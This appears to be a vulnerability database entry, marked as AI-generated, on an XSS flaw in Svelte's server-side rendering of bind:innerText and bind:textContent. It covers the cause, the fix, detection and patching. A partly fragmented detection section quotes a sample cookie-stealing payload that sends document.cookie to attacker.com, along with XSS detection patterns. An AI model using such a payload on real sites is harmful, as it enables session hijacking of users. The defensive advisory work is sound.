
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-27901 is a Cross-Site Scripting (XSS) vulnerability in the Svelte JavaScript web framework affecting all versions prior to 5.53.5. The flaw arises because the contents of bind:innerText and bind:textContent directives on contenteditable elements were not properly HTML-escaped during server-side rendering (SSR), enabling HTML injection and XSS when untrusted data is used as the binding's initial value. The advisory was published on February 25–26, 2026, with a patch released the same day. It carries a CVSS v3.1 score of 6.1 (Medium) and a CVSS v4.0 score of 5.3 (Medium) (GitHub Advisory, Github Advisory).
The root cause is improper neutralization of user-controllable input during web page generation (CWE-79). In Svelte's SSR compiler phase, the server-side visitor for element attributes treated bind:innerText and bind:textContent bindings the same as bind:innerHTML — passing the expression value directly into the rendered HTML output without calling the $.escape() sanitization function. The fix (commit 0df5abc) restructures the conditional logic so that only innerHTML bypasses escaping, while innerText, textContent, and textarea value bindings now pass through $.escape(). Exploitation requires that an application renders untrusted, attacker-controlled data as the initial value of one of these bindings on the server, and that a victim user loads the resulting page (GitHub Commit, GitHub Advisory).
Successful exploitation allows an attacker to inject arbitrary HTML and execute JavaScript in the context of a victim user's browser session. This can lead to session token theft, credential harvesting, unauthorized actions performed on behalf of the user, and defacement of web content. Availability is not impacted, but confidentiality and integrity of the subsequent (browser) system are rated High under CVSS v4.0, reflecting the potential for significant data exposure and manipulation (Github Advisory, GitHub Advisory).
There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at this time. The EPSS score is approximately 0.034% (10th percentile), indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires specific preconditions: the application must use bind:innerText or bind:textContent with untrusted data during SSR, and a victim must interact with the rendered page (Github Advisory, Feedly).
bind:innerText or bind:textContent binding on a contenteditable element.<script>alert('pwnd')</script> or a more targeted payload such as a cookie-stealing script (<img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>).contenteditable elements; requests carrying cookie or session data in query parameters to attacker-controlled hosts.<script>, <img onerror=, javascript:) in parameters that are used to populate bind:innerText or bind:textContent bindings; unusual patterns of data submission to endpoints feeding SSR components.contenteditable elements that display unexpected HTML structure or execute JavaScript on load; user-reported unexpected browser alerts or redirects after visiting specific pages.The primary remediation is to upgrade Svelte to version 5.53.5 or later, which applies proper HTML escaping to bind:innerText and bind:textContent bindings during SSR. As a temporary workaround prior to patching, developers should manually sanitize any untrusted data before passing it as the initial value to these bindings, ensuring HTML special characters are escaped. Applications that do not use bind:innerText or bind:textContent with untrusted data in SSR contexts are not affected (GitHub Advisory, Svelte Release).
The advisory was published by the Svelte maintainer elliott-with-the-longest-name-on-github and credited researchers paoloricciuti and KarimPwnz for remediation review and development. The release of svelte@5.53.5 received positive community reactions on GitHub (thumbs up, hearts, rockets from multiple contributors). Red Hat tracked the issue via Bugzilla (Bug 2442918) and the ENISA EUVD catalogued it as EUVD-2026-8799, indicating broad ecosystem awareness. No significant controversy or major media coverage was noted beyond standard vulnerability database entries (GitHub Advisory, Red Hat Bugzilla, Svelte Release).
Fix availability across major Linux distributions and their releases.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."